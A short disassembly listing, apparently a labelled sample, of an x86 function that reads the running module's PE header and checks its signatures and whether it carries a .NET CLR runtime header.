Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40363a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40363a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40363a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40363a
cmp dword [ecx + 0x74], 0xe
jbe 0x40363a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret